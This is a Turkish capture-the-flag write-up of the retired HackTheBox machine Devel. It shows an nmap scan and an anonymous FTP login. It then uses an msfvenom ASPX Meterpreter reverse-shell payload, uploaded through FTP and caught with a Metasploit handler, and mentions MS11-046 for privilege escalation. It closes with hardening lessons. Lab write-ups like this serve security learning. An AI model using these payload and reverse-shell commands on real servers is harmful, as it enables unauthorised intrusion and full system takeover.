[Write-up] HTB Devel — Anonymous FTP + IIS Upload
ugrkrbck 🔴 · 2026-09-12 21:20:27
Zorluk: Kolay · Platform: HackTheBox (Retired) · Konu: FTP Anonymous + IIS/ASP Upload
Devel, yanlış yapılandırılmış bir FTP servisinin, tam bir sistem ele geçirmeye nasıl kapı araladığını gösteren bir HTB makinesidir.
■ 1. Keşif
nmap -sC -sV -p- <hedef-ip>
İki servis öne çıkar:
- 21/tcp — FTP (Microsoft ftpd)
- 80/tcp — IIS 7.5
■ 2. Anonim FTP Erişimi
ftp <hedef-ip>
# Kullanıcı adı: anonymous, şifre: boş bırakılabilir
Giriş başarılı olursa, bu FTP kök dizininin genellikle web sunucusunun kök dizini (C:\inetpub\wwwroot) ile aynı olduğu görülür — yani FTP'ye yazılan bir dosya, doğrudan web sunucusu üzerinden çalıştırılabilir hale gelir.
■ 3. Kötü Amaçlı Dosya Yükleme
Metasploit ile bir ASPX reverse shell payload'ı oluşturulur:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kendi-ip> LPORT=4444 -f aspx -o shell.aspx
Bu dosya FTP üzerinden yüklenir:
ftp> put shell.aspx
■ 4. Tetikleme
Yüklenen dosya, tarayıcı üzerinden ziyaret edilerek (http://<hedef-ip>/shell.aspx) çalıştırılır ve önceden başlatılmış bir Metasploit listener üzerinden bağlantı alınır:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <kendi-ip>
set LPORT 4444
run
■ 5. Yetki Yükseltme
Elde edilen oturum genellikle düşük yetkilidir. local_exploit_suggester gibi Metasploit modülleri veya güncel olmayan Windows sürümüne özel bilinen kernel exploit'leri (örn. MS11-046) kullanılarak SYSTEM yetkisine çıkılabilir.
■ 6. Öğrenilen Dersler
- Anonim FTP erişimi, özellikle web sunucusuyla aynı dizini paylaşıyorsa, kritik bir risktir.
- Dosya yükleme noktalarının web kök dizininden tamamen izole edilmesi gerekir.
- Yüklenen dosya türleri (uzantı bazlı filtreleme değil, gerçek içerik doğrulama ile) sıkı şekilde kısıtlanmalıdır.